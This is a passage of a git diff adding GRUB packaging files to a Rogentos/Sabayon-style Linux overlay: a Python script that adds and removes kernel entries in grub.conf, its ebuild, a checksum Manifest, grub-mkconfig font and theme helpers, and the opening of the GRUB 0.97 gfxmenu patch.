+def getstatusoutput(cmd):
+    """Return (status, output) of executing cmd in a shell."""
+    pipe = os.popen('{ ' + cmd + '; } 2>&1', 'r')
+    text = pipe.read()
+    sts = pipe.close()
+    if sts is None: sts = 0
+    if text[-1:] == '\n': text = text[:-1]
+    return sts, text
+
+def get_kernel_grub_line(kernel):
+    return "title=%s (%s)\n" % (DISTRO_NAME, os.path.basename(kernel),)
+
+def configure_boot_grub(kernel, initramfs):
+
+    grub_dir = os.path.dirname(GRUB_CONF)
+    if not os.path.isdir(grub_dir):
+        os.makedirs(grub_dir)
+
+    if os.access(GRUB_CONF, os.R_OK | os.F_OK):
+
+        # open in append
+        grub = open(GRUB_CONF,"aw")
+        shutil.copy2(GRUB_CONF, GRUB_CONF+".add")
+        # get boot dev
+        boot_dev = get_grub_boot_dev()
+        # test if entry has been already added
+        grubtest = open(GRUB_CONF,"r")
+        content = grubtest.readlines()
+        content = [unicode(x,'raw_unicode_escape') for x in content]
+        for line in content:
+
+            if line.find(get_kernel_grub_line(kernel)) != -1:
+                grubtest.close()
+                print "** Kernel already in configuration => ", line.strip()
+                return
+
+            # also check if we have the same kernel listed
+            if (line.find("kernel") != 1) and \
+                (line.find(os.path.basename(kernel)) != -1) and not \
+                line.strip().startswith("#") \
+                and (line.find("safe mode") == -1):
+
+                grubtest.close()
+                print "** Kernel already in configuration (2) => ", line.strip()
+                return
+    else:
+
+        # create
+        boot_dev = get_grub_boot_dev()
+        grub = open(GRUB_CONF,"w")
+        # write header - guess (hd0,0)... since it is weird
+        # having a running system without a bootloader, at least, grub.
+        grub.write("default=0\ntimeout=10\n")
+
+    cmdline = ''
+    if os.access("/proc/cmdline", os.R_OK):
+        cmdline_f = open("/proc/cmdline","r")
+        cmdline = " "+cmdline_f.readline().strip()
+        cmdline_f.close()
+
+    grub.write(get_kernel_grub_line(kernel))
+    grub.write("\troot "+boot_dev+"\n")
+    grub.write("\tkernel "+kernel+cmdline+"\n")
+    if initramfs:
+        grub.write("\tinitrd "+initramfs+"\n")
+    grub.write("\tsavedefault\n")
+    grub.write("\n")
+    grub.flush()
+    grub.close()
+
+def remove_boot_grub(kernel, initramfs):
+
+    grub_dir = os.path.dirname(GRUB_CONF)
+    if not os.path.isdir(grub_dir):
+        os.makedirs(grub_dir)
+
+    if os.path.isdir(grub_dir) and os.access(GRUB_CONF, os.R_OK | os.F_OK):
+
+        shutil.copy2(GRUB_CONF, GRUB_CONF+".remove")
+        grub_f = open(GRUB_CONF,"r")
+        grub_conf = grub_f.readlines()
+        grub_f.close()
+
+        content = [unicode(x,'raw_unicode_escape') for x in grub_conf]
+        if not isinstance(kernel, unicode):
+            kernel = unicode(kernel,'raw_unicode_escape')
+        if not isinstance(initramfs, unicode):
+            initramfs = unicode(initramfs,'raw_unicode_escape')
+
+        new_conf = []
+        skip = False
+        for line in content:
+
+            kernel_grub_line = get_kernel_grub_line(kernel)
+            if (line.find(kernel_grub_line) != -1):
+                skip = True
+                continue
+
+            if line.strip().startswith("title"):
+                skip = False
+
+            if not skip or line.strip().startswith("#"):
+                new_conf.append(line)
+
+        grub_tmp_f = open(GRUB_CONF+".tmp","w")
+        for line in new_conf:
+            try:
+                grub_tmp_f.write(line)
+            except UnicodeEncodeError:
+                grub_tmp_f.write(line.encode('utf-8'))
+        grub_tmp_f.flush()
+        grub_tmp_f.close()
+        os.rename(GRUB_CONF+".tmp", GRUB_CONF)
+
+def boot_device_translation(boot_dev):
+
+    # actually disabled due to buggy grub.conf entry
+    if os.access(GRUB_CONF, os.R_OK | os.F_OK) and 0:
+
+        f_grub = open(GRUB_CONF, "r")
+        stored_boot_dev = [x.strip() for x in f_grub.readlines() if \
+            x.strip().startswith("#boot=")]
+        f_grub.close()
+        if stored_boot_dev:
+            stored_boot_dev = stored_boot_dev[0]
+            boot_dev = "/dev/" + stored_boot_dev[len("#boot="):]
+
+    if boot_dev.startswith("/dev/md"):
+
+        boot_dev = os.path.realpath(boot_dev)
+        md_dev = os.path.basename(boot_dev)
+
+        if os.access("/proc/mdstat", os.R_OK | os.F_OK):
+
+            f_mdstat = open("/proc/mdstat","r")
+            stored_boot_dev = [x.split() for x in f_mdstat.readlines() if \
+                x.startswith(md_dev)]
+            f_mdstat.close()
+
+            if stored_boot_dev:
+                stored_boot_dev = stored_boot_dev[0]
+                for elem in stored_boot_dev:
+                    if elem.endswith("[0]"):
+                        boot_dev = "/dev/" + elem[:-len("[0]")]
+                        break
+
+    return boot_dev
+
+def resolve_device(device):
+    if device.startswith("/dev/"):
+        return device
+    if device.startswith("UUID=") or device.startswith("LABEL="):
+        print "resolving UUID/LABEL to device", device
+        rc, outstring = getstatusoutput("blkid -lt %s" % (device,))
+        if rc != 0:
+            print "cannot resolve UUID/LABEL for", device
+            return None # argh!
+        device = outstring.split(":")[0]
+        print "UUID/LABEL resolved to", device
+    return device
+
+def get_grub_boot_dev():
+
+    grub_avail = subprocess.call("which grub &> /dev/null", shell = True)
+    if grub_avail != 0:
+        print "** Cannot find grub. Cannot properly configure kernel"
+        return "(hd0,0)"
+
+    # load currently mounted partitions
+    if not os.access(FSTAB_CONF, os.R_OK | os.F_OK):
+        print "** Cannot find %s. Cannot properly configure kernel" % (
+            FSTAB_CONF,)
+        return "(hd0,0)"
+
+    f_fstab = open(FSTAB_CONF, "r")
+    mount_data = [x.split() for x in f_fstab.readlines()]
+    f_fstab.close()
+    # filter out bogus devices
+    mount_data = [x for x in mount_data if x]
+    mount_data = [x for x in mount_data if x[0].startswith("/") or \
+        x[0].startswith("UUID=") or x[0].startswith('LABEL=')]
+    
+    mount_hash = {}
+    for item in mount_data:
+        solved_dev = resolve_device(item[0])
+        if not solved_dev:
+            continue
+        mount_hash[item[1]] = solved_dev
+    boot_dev = mount_hash.get(NO_SYS_ROOT_BOOT_DIR, mount_hash.get("/"))
+    if boot_dev == None:
+        print "** Cannot determine boot device. Cannot properly configure" \
+            " kernel"
+        return "(hd0,0)"
+
+    # translate boot device, if needed
+    boot_dev = boot_device_translation(boot_dev)
+
+    # load grub map file
+    map_file = "grub.map"
+    subprocess.call('echo "quit" | grub --no-floppy --no-config-file ' \
+        '--no-curses --batch --device-map=grub.map &> /dev/null', shell = True)
+    if not os.access(map_file, os.R_OK | os.F_OK):
+        print "** Cannot find grub. Cannot properly configure kernel"
+        return "(hd0,0)"
+
+    f_map = open(map_file)
+    map_data = [x.split() for x in f_map.readlines()]
+    f_map.close()
+    os.remove(map_file)
+    map_data = dict(((y, x) for x, y in map_data))
+
+    map_data_devs = map_data.keys()
+    grub_dev = None
+    linux_dev = None
+    for dev in map_data_devs:
+        if boot_dev.startswith(dev):
+            grub_dev = map_data.get(dev)
+            linux_dev = dev
+            break
+
+    if grub_dev == None:
+        print "** Cannot match grub device. Cannot properly configure kernel"
+        return "(hd0,0)"
+
+    device_number = boot_dev.replace(linux_dev,'')
+    try:
+        device_number = int(device_number)
+    except ValueError:
+        print "** Cannot get device number for '%s' => '%s' | '%s'. Cannot properly configure kernel" % (
+	    device_number, boot_dev, linux_dev,)
+        return "(hd0,0)"
+
+    device_number -= 1
+    grub_boot_dev = grub_dev.replace(')',',%s)' % (device_number,))
+    return grub_boot_dev
+
+def print_help():
+    print "%s %s %s %s" % (sys.argv[0], "[add/remove]",
+        "<kernel>", "<initramfs or 'none'>",)
+
+def add_kernel(kernel, initramfs):
+
+    boot_len = len(NO_SYS_ROOT_BOOT_DIR)
+    if BOOT_MOUNT:
+        kernel = kernel[boot_len:]
+        if initramfs:
+            initramfs = initramfs[boot_len:]
+
+    # configure GRUB
+    print "** Configuring GRUB bootloader. Adding the new kernel ..."
+    configure_boot_grub(kernel, initramfs)
+
+def remove_kernel(kernel, initramfs):
+
+    boot_len = len(NO_SYS_ROOT_BOOT_DIR)
+    if BOOT_MOUNT:
+        kernel = kernel[boot_len:]
+        if initramfs:
+            initramfs = initramfs[boot_len:]
+
+    # configure GRUB
+    print "** Configuring GRUB bootloader. Removing the selected kernel ..."
+    remove_boot_grub(kernel, initramfs)
+
+
+
+if __name__ == "__main__":
+
+    args = sys.argv[1:]
+    if len(args) < 3:
+        print_help()
+        raise SystemExit(1)
+
+    cmd = args[0]
+    if cmd not in ("add", "remove",):
+        print_help()
+        raise SystemExit(1)
+
+    kernel = args[1]
+    initramfs = args[2]
+
+    if initramfs == "none":
+        initramfs = ''
+
+    if cmd == "add":
+        print "** Adding kernel '%s' and initramfs '%s'" % (kernel, initramfs,)
+        add_kernel(kernel, initramfs)
+    elif cmd == "remove":
+        print "** Removing kernel '%s' and initramfs '%s'" % (kernel,
+            initramfs,)
+        remove_kernel(kernel, initramfs)
+    raise SystemExit(0)
diff --git a/sys-boot/grub-handler/grub-handler-0.2-r6.ebuild b/sys-boot/grub-handler/grub-handler-0.2-r6.ebuild
new file mode 100644
index 00000000..c2f4b31c
--- /dev/null
+++ b/sys-boot/grub-handler/grub-handler-0.2-r6.ebuild
@@ -0,0 +1,20 @@
+# Copyright 2009 Sabayon Linux
+# Distributed under the terms of the GNU General Public License v2
+
+inherit eutils
+
+DESCRIPTION="Rogentos Linux GRUB utilities"
+HOMEPAGE="http://www.rogentos.ro"
+SRC_URI=""
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="x86 amd64"
+IUSE=""
+
+RDEPEND=""
+DEPEND="${RDEPEND}"
+
+src_install () {
+	exeinto /usr/sbin
+	doexe "${FILESDIR}/${PN}"
+}
diff --git a/sys-boot/grub/Manifest b/sys-boot/grub/Manifest
new file mode 100644
index 00000000..8e96180b
--- /dev/null
+++ b/sys-boot/grub/Manifest
@@ -0,0 +1,4 @@
+DIST grub-0.97-patches-1.9.tar.bz2 51809 SHA256 6b8445c9260803f059031cbe7475a45fee6499fc2dbd911288af6169455c4028 SHA512 b639bc7a42212a4d6ca106f3a6acf18aac88494bd5d29f872e530af0ac9552a9fadf34d9197c8335922dc19684cd2866a3648ce828862c540380e052e88c2c25 WHIRLPOOL 6ada276e2cd3aeb2792219d79ddebdaf6237b21b7bed86a42ec1c11374d42d2072a19959ff657ee865c9ee563ab3a157da983d320f002a1e8d8681d01d84b6de
+DIST grub-0.97.tar.gz 971783 SHA256 4e1d15d12dbd3e9208111d6b806ad5a9857ca8850c47877d36575b904559260b SHA512 c2bc9ffc8583aeae71cee9ddcc4418969768d4e3764d47307da54f93981c0109fb07d84b061b3a3628bd00ba4d14a54742bc04848110eb3ae8ca25dbfbaabadb WHIRLPOOL 0ad7f5dc035e2a3ad5fd29b6388f06fd12a8cc694117b4cbd42b5302433aa522db23566222d35219fe17fb95edb5090553156198507f70208eda5d858fd52dd5
+DIST grub-1.99.tar.xz 2639224 SHA256 f308148d4c83c6f16a73b58a0cd39381656edb740929028cae7ad5f0d651021b SHA512 604b931eef3781cdfbd9589ed76c96d6bc9fd9d6429a7a32c94ab1ea5dc2b2e1e26b60c93353763831bddbe071368779bab8564234139cb5eb6cbc3c88395ff4 WHIRLPOOL 68d9de328eb492b9dc1771db6a356de9af5d0bbceb1e187c0aea48f117c94b492c721e773e715664d3e431bda7f0ff5d63774184d2f2c413a08554a91c13dde4
+DIST grub-2.00.tar.xz 5136412 SHA256 784ec38e7edc32239ad75b8e66df04dc8bfb26d88681bc9f627133a6eb85c458 SHA512 f0dbfc90639491e5c671d2df206dec0139171bf096a99ee236f7ebf21cdafc6e6d39a9607e14ad2a6aee7c199ecc63f0a39573d969318e1a0cd32f989aa6b44a WHIRLPOOL b9690c023ab507926b8615ce28bf9de82b793ebd02126a5ecd52a130ab4bc52e2ae650b02ae2d784d4089e2981be944ba8b4800cde742aab793ff0d9029843c8
diff --git a/sys-boot/grub/files/00_fonts b/sys-boot/grub/files/00_fonts
new file mode 100755
index 00000000..6f5d98b5
--- /dev/null
+++ b/sys-boot/grub/files/00_fonts
@@ -0,0 +1,14 @@
+# Create required fonts, otherwise graphic mode won't be loaded
+if [ -x "/usr/bin/grub2-mkfont" ]; then
+	# This is the bare minimum
+	/usr/bin/grub2-mkfont --output=/boot/grub/unifont.pf2 \
+		/usr/share/fonts/unifont/unifont.pcf.gz
+
+	# let's load DejaVu if exists, no deps against it
+	# to avoid crazy deps on critical pkg
+	if [ -x "/usr/share/fonts/dejavu/DejaVuSans.ttf" ]; then
+		/usr/bin/grub2-mkfont --output=/boot/grub/dejavu.pf2 \
+			/usr/share/fonts/dejavu/DejaVuSans.ttf
+	fi
+
+fi
diff --git a/sys-boot/grub/files/05_distro_theme b/sys-boot/grub/files/05_distro_theme
new file mode 100755
index 00000000..cb4c197c
--- /dev/null
+++ b/sys-boot/grub/files/05_distro_theme
@@ -0,0 +1,51 @@
+#!/bin/bash -e
+
+. /lib/grub/grub-mkconfig_lib
+
+set_blue_theme()
+{
+  cat << EOF
+set menu_color_normal=cyan/blue
+set menu_color_highlight=white/blue
+EOF
+}
+
+# check for usable backgrounds
+use_bg=false
+if [ "$GRUB_TERMINAL_OUTPUT" = "gfxterm" ] && [ -n "${GRUB_WALLPAPER}" ]; then
+  for i in /boot/grub/`basename ${GRUB_WALLPAPER}` ${GRUB_WALLPAPER} ; do
+    if is_path_readable_by_grub $i ; then
+      bg=$i
+      case ${bg} in
+        *.png)     reader=png ;;
+        *.tga)     reader=tga ;;
+        *.jpg|*.jpeg)  reader=jpeg ;;
+      esac
+      if test -e /boot/grub/${reader}.mod ; then
+        echo "Found background image: `basename ${bg}`" >&2
+        use_bg=true
+        break
+      fi
+    fi
+  done
+fi
+
+# set the background if possible
+if ${use_bg} ; then
+  prepare_grub_to_access_device `${grub_probe} --target=device ${bg}`
+  cat << EOF
+insmod ${reader}
+if background_image `make_system_path_relative_to_its_root ${bg}` ; then
+  set color_normal=${GRUB_COLOR_NORMAL}
+  set color_highlight=${GRUB_COLOR_HIGHLIGHT}
+else
+EOF
+fi
+
+# otherwise, set the traditional Debian blue theme
+if ${use_bg} ; then
+  set_blue_theme | sed -e "s/^/  /g"
+  echo "fi"
+else
+  set_blue_theme
+fi
diff --git a/sys-boot/grub/files/grub-0.97-gfxmenu-v8.patch b/sys-boot/grub/files/grub-0.97-gfxmenu-v8.patch
new file mode 100644
index 00000000..7921fc82
--- /dev/null
+++ b/sys-boot/grub/files/grub-0.97-gfxmenu-v8.patch
@@ -0,0 +1,1003 @@
+diff -Nurp grub-0.97.orig/docs/grub.texi grub-0.97/docs/grub.texi
+--- grub-0.97.orig/docs/grub.texi	2009-08-03 16:25:36.636294219 +0200
++++ grub-0.97/docs/grub.texi	2009-08-03 16:25:52.207398764 +0200
+@@ -2118,6 +2118,7 @@ These commands can only be used in the m
+ * default::                     Set the default entry
+ * fallback::                    Set the fallback entry
+ * hiddenmenu::                  Hide the menu interface
++* gfxmenu::                     Use graphical menu interface
+ * timeout::                     Set the timeout
+ * title::                       Start a menu entry
+ @end menu
+@@ -2150,6 +2151,15 @@ fallback entry numbers.
+ @end deffn
+ 
+ 
++@node gfxmenu
++@subsection gfxmenu
++
++@deffn Command gfxmenu file
++Use the graphical menu interface. The graphics data are taken from
++@var{file} and must be created using 'mkbootmsg' from the gfxboot package.
++@end deffn
++
++
+ @node hiddenmenu
+ @subsection hiddenmenu
+ 
+diff -Nurp grub-0.97.orig/grub/asmstub.c grub-0.97/grub/asmstub.c
+--- grub-0.97.orig/grub/asmstub.c	2009-08-03 16:25:36.483169221 +0200
++++ grub-0.97/grub/asmstub.c	2009-08-03 16:25:52.217342924 +0200
+@@ -480,6 +480,32 @@ set_vbe_mode (int mode_number)
+   return 0;
+ }
+ 
++/* graphical menu functions .  */
++int
++gfx_init (gfx_data_t *gfx_data)
++{
++  return 0;
++}
++
++int
++gfx_done (gfx_data_t *gfx_data)
++{
++  return 0;
++}
++
++int
++gfx_input (gfx_data_t *gfx_data, int *menu_entry)
++{
++  return 0;
++}
++
++int
++gfx_setup_menu (gfx_data_t *gfx_data)
++{
++  return 0;
++}
++
++
+ /* low-level timing info */
+ int
+ getrtsecs (void)
+diff -Nurp grub-0.97.orig/stage2/asm.S grub-0.97/stage2/asm.S
+--- grub-0.97.orig/stage2/asm.S	2004-06-19 18:55:22.000000000 +0200
++++ grub-0.97/stage2/asm.S	2009-08-03 16:25:52.218406926 +0200
+@@ -1610,6 +1610,286 @@ ENTRY(set_vbe_mode)
+ 	popl	%ebp
+ 	ret
+ 
++
++/*
++ * - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
++ *
++ * graphical menu functions
++ *
++ */
++
++/*
++ * int gfx_init (gfx_data_t *gfx_data)
++ *
++ * init gfx things
++ *
++ * return vales:
++ *   0: ok
++ *   1: failed
++ *   sets gfx_data->ok
++ */
++
++ENTRY(gfx_init)
++	pushl	%ebp
++	movl	%esp, %ebp
++	
++	pushl	%edi
++	pushl	%esi
++	pushl	%ebx
++
++	movl	8(%ebp),%edx
++	movl	%edx,%edi
++	leal	gfx_ofs_sys_cfg(%edx),%esi
++	andl	$0xf,%edi
++	shrl	$4,%edx
++
++	pushl	%ebp
++
++	call	EXT_C(prot_to_real)
++	.code16
++
++	pushw	%ds
++	movw	%dx,%ds
++
++	lcall	*gfx_ofs_jmp_table + 4 * 0 (%di)
++
++	sbbl	%ebx,%ebx
++	negl	%ebx
++
++	popw	%ds
++
++	DATA32	call	EXT_C(real_to_prot)
++	.code32
++
++	popl	%ebp
++
++	movl	%ebx,%eax
++	xorl	$1,%ebx
++	movl	8(%ebp),%edx
++	movl	%ebx,gfx_ofs_ok(%edx)
++
++	popl	%ebx
++	popl	%esi
++	popl	%edi
++
++	popl	%ebp
++	ret
++
++
++/*
++ * int gfx_done (gfx_data_t *gfx_data)
++ *
++ * shut down gfx things
++ *
++ * return vales:
++ *   always 0
++ *   sets gfx_data->ok
++ */
++
++ENTRY(gfx_done)
++	pushl	%ebp
++	movl	%esp, %ebp
++	
++	pushl	%edi
++	pushl	%esi
++	pushl	%ebx
++
++	movl	8(%ebp),%edx
++	movl	%edx,%ebx
++	andl	$0xf,%ebx
++	shrl	$4,%edx
++
++	pushl	%ebp
++
++	call	EXT_C(prot_to_real)
++	.code16
++
++	pushw	%ds
++
++	movw	%dx,%ds
++
++	lcall	*gfx_ofs_jmp_table + 4 * 1 (%bx)
++
++	popw	%ds
++
++	DATA32	call	EXT_C(real_to_prot)
++	.code32
++
++	popl	%ebp
++
++	xorl	%eax,%eax
++	movl	8(%ebp),%edx
++	movl	%eax,gfx_ofs_ok(%edx)
++
++	popl	%ebx
++	popl	%esi
++	popl	%edi
++
++	popl	%ebp
++	ret
++
++
++/*
++ * int gfx_input (gfx_data_t *gfx_data, int *menu_entry)
++ *
++ * let user enter a command line
++ *
++ * uses gfx_data->cmdline as buffer
++ *
++ * return values:
++ *   1: abort
++ *   2: boot
++ *   menu_entry: selected entry
++ */
++
++ENTRY(gfx_input)
++	pushl	%ebp
++	movl	%esp, %ebp
++	
++	pushl	%edi
++	pushl	%esi
++	pushl	%ebx
++
++	movl	8(%ebp),%edx
++	movl	%edx,%ebx
++	leal	gfx_ofs_sys_cfg(%edx),%esi
++	andl	$0xf,%ebx
++	shrl	$4,%edx
++
++	pushl	%ebp
++
++	call	EXT_C(prot_to_real)
++	.code16
++
++	pushw	%ds
++
++	movw	%dx,%ds
++
++	movl	gfx_ofs_cmdline(%bx),%edi
++	movl	gfx_ofs_cmdline_len(%bx),%ecx
++	movl	gfx_ofs_timeout(%bx),%eax
++	imull	$18,%eax
++
++	lcall	*gfx_ofs_jmp_table + 4 * 2 (%bx)
++
++	movl	%eax,%ecx
++
++	popw	%ds
++
++	DATA32	call	EXT_C(real_to_prot)
++	.code32
++
++	popl	%ebp
++
++	movl	12(%ebp),%edx
++	movl	%ebx,(%edx)
++
++	movl	%ecx,%eax
++
++	popl	%ebx
++	popl	%esi
++	popl	%edi
++
++	popl	%ebp
++	ret
++
++
++/*
++ * int gfx_setup_menu (gfx_data_t *gfx_data)
++ *
++ * draw boot menu
++ *
++ * return values:
++ *   always 0
++ */
++
++/* menu entry descriptor */
++#define menu_entries		0
++#define menu_default		2	/* seg:ofs */
++#define menu_ent_list		6	/* seg:ofs */
++#define menu_ent_size		10
++#define menu_arg_list		12	/* seg:ofs */
++#define menu_arg_size		16
++#define sizeof_menu_desc	18
++
++ENTRY(gfx_setup_menu)
++	pushl	%ebp
++	movl	%esp, %ebp
++	
++	pushl	%edi
++	pushl	%esi
++	pushl	%ebx
++
++	movl	8(%ebp),%edx
++	movl	%edx,%ebx
++	andl	$0xf,%ebx
++	shrl	$4,%edx
++
++	call	EXT_C(prot_to_real)
++	.code16
++
++	pushw	%ds
++
++	movw	%dx,%ds
++	shll	$4,%edx
++
++	subw	$sizeof_menu_desc,%sp
++	movw	%esp,%ebp
++
++	movl	gfx_ofs_menu_entries(%bx),%eax
++	movw	%ax,menu_entries(%bp)
++
++	movl	gfx_ofs_menu_default_entry(%bx),%eax
++	subl	%edx,%eax
++	movw	%ax,menu_default(%bp)
++	movw	%ds,menu_default+2(%bp)
++
++	movl	gfx_ofs_menu_list(%bx),%eax
++	subl	%edx,%eax
++	movw	%ax,menu_ent_list(%bp)
++	movw	%ds,menu_ent_list+2(%bp)
++
++	movl	gfx_ofs_menu_entry_len(%bx),%eax
++	movw	%ax,menu_ent_size(%bp)
++
++	movl	gfx_ofs_args_list(%bx),%eax
++	subl	%edx,%eax
++	movw	%ax,menu_arg_list(%bp)
++	movw	%ds,menu_arg_list+2(%bp)
++
++	movl	gfx_ofs_args_entry_len(%bx),%eax
++	movw	%ax,menu_arg_size(%bp)
++
++	movl	%ss,%esi
++	shll	$4,%esi
++	addl	%ebp,%esi
++	
++	lcall	%ds: *gfx_ofs_jmp_table + 4 * 3 (%bx)
++
++	addw	$sizeof_menu_desc,%sp
++
++	popw	%ds
++
++	DATA32	call	EXT_C(real_to_prot)
++	.code32
++
++	xorl	%eax,%eax
++
++	popl	%ebx
++	popl	%esi
++	popl	%edi
++
++	popl	%ebp
++	ret
++
++
++/*
++ *
++ * end graphics stuff
++ *
++ * - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
++ */
++
+ 		
+ /*
+  * gateA20(int linear)
+diff -Nurp grub-0.97.orig/stage2/builtins.c grub-0.97/stage2/builtins.c
+--- grub-0.97.orig/stage2/builtins.c	2009-08-03 16:25:36.601273171 +0200
++++ grub-0.97/stage2/builtins.c	2009-08-03 16:25:52.219523396 +0200
+@@ -67,6 +67,8 @@ int fallback_entryno;
+ int fallback_entries[MAX_FALLBACK_ENTRIES];
+ /* The number of current entry.  */
+ int current_entryno;
++/* graphics file */
++char graphics_file[64];
+ /* The address for Multiboot command-line buffer.  */
+ static char *mb_cmdline;
+ /* The password.  */
+@@ -1335,6 +1337,26 @@ static struct builtin builtin_fstest =
+ };
+ 
+ 
++/* graphics */
++static int
++gfxmenu_func (char *arg, int flags)
++{
++  memmove(graphics_file, arg, sizeof graphics_file - 1);
++  graphics_file[sizeof graphics_file - 1] = 0;
++
++  return 0;
++}
++
++static struct builtin builtin_gfxmenu =
++{
++  "gfxmenu",
++  gfxmenu_func,
++  BUILTIN_MENU | BUILTIN_HELP_LIST,
++  "gfxmenu FILE",
++  "Use the graphical menu from FILE."
++};
++
++
+ /* geometry */
+ static int
+ geometry_func (char *arg, int flags)
+@@ -4989,6 +5011,7 @@ struct builtin *builtin_table[] =
+   &builtin_find,
+   &builtin_fstest,
+   &builtin_geometry,
++  &builtin_gfxmenu,
+   &builtin_halt,
+   &builtin_help,
+   &builtin_hiddenmenu,
+diff -Nurp grub-0.97.orig/stage2/shared.h grub-0.97/stage2/shared.h
+--- grub-0.97.orig/stage2/shared.h	2004-06-19 18:40:09.000000000 +0200
++++ grub-0.97/stage2/shared.h	2009-08-03 16:25:52.219523396 +0200
+@@ -374,6 +374,22 @@ extern char *grub_scratch_mem;
+ #endif /* WITHOUT_LIBC_STUBS */
+ 
+ 
++/* see typedef gfx_data_t below */
++#define gfx_ofs_ok			0x00
++#define gfx_ofs_code_seg		0x04
++#define gfx_ofs_jmp_table		0x08
++#define gfx_ofs_sys_cfg			0x38
++#define gfx_ofs_cmdline			0x6c
++#define gfx_ofs_cmdline_len		0x70
++#define gfx_ofs_menu_list		0x74
++#define gfx_ofs_menu_default_entry	0x78
++#define gfx_ofs_menu_entries		0x7c
++#define gfx_ofs_menu_entry_len		0x80
++#define gfx_ofs_args_list		0x84
++#define gfx_ofs_args_entry_len		0x88
++#define gfx_ofs_timeout			0x8c
++
++
+ #ifndef ASM_FILE
+ /*
+  *  Below this should be ONLY defines and other constructs for C code.
+@@ -595,6 +611,38 @@ extern int fallback_entryno;
+ extern int default_entry;
+ extern int current_entryno;
+ 
++
++/*
++ * graphics menu stuff
++ *
++ * Note: gfx_data and all data referred to in it must lie within a 64k area.
++ */
++typedef struct {
++  unsigned ok;			/* set while we're in graphics mode */
++  unsigned code_seg;		/* code segment of binary graphics code */
++  unsigned jmp_table[12];	/* link to graphics functions */
++  unsigned char sys_cfg[52];	/* sys_cfg[0]: identifies boot loader (grub == 2) */
++  char *cmdline;		/* command line returned by gfx_input() */
++  unsigned cmdline_len;		/* length of the above */
++  char *menu_list;		/* list of menu entries, each of fixed length (menu_entry_len) */
++  char *menu_default_entry;	/* the default entry */
++  unsigned menu_entries;	/* number of entries in menu_list */
++  unsigned menu_entry_len;	/* one entry */
++  char *args_list;		/* same structure as menu_list, menu_entries entries */
++  unsigned args_entry_len;	/* one entry */
++  unsigned timeout;		/* in seconds (0: no timeout) */
++} __attribute__ ((packed)) gfx_data_t;
++
++extern gfx_data_t *graphics_data;
++
++/* pointer to graphics image data */
++extern char graphics_file[64];
++
++int gfx_init(gfx_data_t *gfx_data);
++int gfx_done(gfx_data_t *gfx_data);
++int gfx_input(gfx_data_t *gfx_data, int *menu_entry);
++int gfx_setup_menu(gfx_data_t *gfx_data);
++
+ /* The constants for password types.  */
+ typedef enum
+ {
+diff -Nurp grub-0.97.orig/stage2/stage2.c grub-0.97/stage2/stage2.c
+--- grub-0.97.orig/stage2/stage2.c	2005-03-19 18:51:57.000000000 +0100
++++ grub-0.97/stage2/stage2.c	2009-08-03 16:25:52.220523160 +0200
+@@ -22,6 +22,8 @@
+ 
+ grub_jmp_buf restart_env;
+ 
++gfx_data_t *graphics_data;
++
+ #if defined(PRESET_MENU_STRING) || defined(SUPPORT_DISKLESS)
+ 
+ # if defined(PRESET_MENU_STRING)
+@@ -310,6 +312,12 @@ restart:
+       
+       if (! auth && password)
+ 	{
++	  if (*graphics_file)
++	    {
++	      printf ("\
++	WARNING: graphical menu doesn\'t work\
++	in conjunction with the password feature\n" );
++	    }
+ 	  printf ("\
+       Press enter to boot the selected OS or \'p\' to enter a\n\
+       password to unlock the next set of features.");
+@@ -753,6 +761,496 @@ restart:
+ }
+ 
+ 
++
++#if 0
++/* for debugging */
++static void hexdump(unsigned char *buf, unsigned len)
++{
++  int i, j = 0;
++  char s[17];
++  unsigned addr = (unsigned) buf;
++
++  s[16] = 0;
++  while(len--) {
++    i = buf[j];
++    i = i & 0xff;
++    s[j & 15] = (i >= 0x20 && i <= 0x7e) ? i : '.';
++    if(!(j & 15)) {
++      printf("%x  ", j + addr);
++    }
++    if(!(j & 7) && (j & 15)) printf(" ");
++    /* stupid grub_printf */
++    printf("%x", (i >> 4) & 0x0f);
++    printf("%x ", i & 0x0f);
++    if(!(++j & 15)) {
++      printf(" %s\n", s);
++    }
++  }
++
++  if(j & 15) {
++    s[j & 15] = 0;
++    if(!(j & 8)) printf(" ");
++    i = 1 + 3 * (16 - (j & 15));
++    while(i--) printf(" ");
++    printf("%s\n", s);
++  }
++}
++#endif
++
++
++/* kernel + (grub-)module options */
++#define GFX_CMD_BUF_SIZE 512
++
++/* command line separator char */
++#define GFX_CMD_SEP 1
++
++/*
++ * Go through config entry and find kernel args, if any.
++ * Put things into buf and return it.
++ */
++static char *get_kernel_args(char *cfg, char *buf)
++{
++  int i, j;
++  char *s, *t = "", *p, *t2;
++
++  *(p = buf) = 0;
++
++  for(j = 0; ; j++) {
++    s = get_entry(cfg, j, 0);
++    if(!*s) break;
++    if(
++      (!memcmp(s, "kernel", 6) || !memcmp(s, "module", 6)) &&
++      (s[6] == ' ' || s[6] == '\t')
++    ) {
++      t = skip_to(0, s);
++      t2 = s[0] == 'm' ? strstr(t, "initrd") : NULL;
++      if(*t) t = skip_to(0, t);
++      if(t2 && t2 < t) break;	/* module is likely a normal initrd -> skip */
++      i = strlen(t);
++      if(p - buf + i > GFX_CMD_BUF_SIZE - 2) break;
++      *p++ = GFX_CMD_SEP;
++      strcpy(p, t);
++      p += i;
++
++      continue;
++    }
++  }
++
++  if(*buf) buf++;	/* skip initial separator char */
++
++  return buf;
++}
++
++
++/*
++ * Check header and return code start offset.
++ */
++static unsigned magic_ok(unsigned char *buf)
++{
++  if(
++    *(unsigned *) buf == 0x0b2d97f00 &&		/* magic id */
++    (buf[4] == 8)				/* version 8 */
++  ) {
++    return *(unsigned *) (buf + 8);
++  }
++
++  return 0;
++}
++
++
++/*
++ * Search cpio archive for gfx file.
++ */
++static unsigned find_file(unsigned char *buf, unsigned len, unsigned *gfx_file_start, unsigned *file_len)
++{
++  unsigned i, fname_len, code_start = 0;
++
++  *gfx_file_start = 0;
++
++  for(i = 0; i < len;) {
++    if((len - i) >= 0x1a && (buf[i] + (buf[i + 1] << 8)) == 0x71c7) {
++      fname_len = *(unsigned short *) (buf + i + 20);
++      *file_len = *(unsigned short *) (buf + i + 24) + (*(unsigned short *) (buf + i + 22) << 16);
++      i += 26 + fname_len;
++      i = ((i + 1) & ~1);
++      if((code_start = magic_ok(buf + i))) {
++        *gfx_file_start = i;
++        return code_start;
++      }
++      i += *file_len;
++      i = ((i + 1) & ~1);
++    }
++    else {
++      break;
++    }
++  }
++
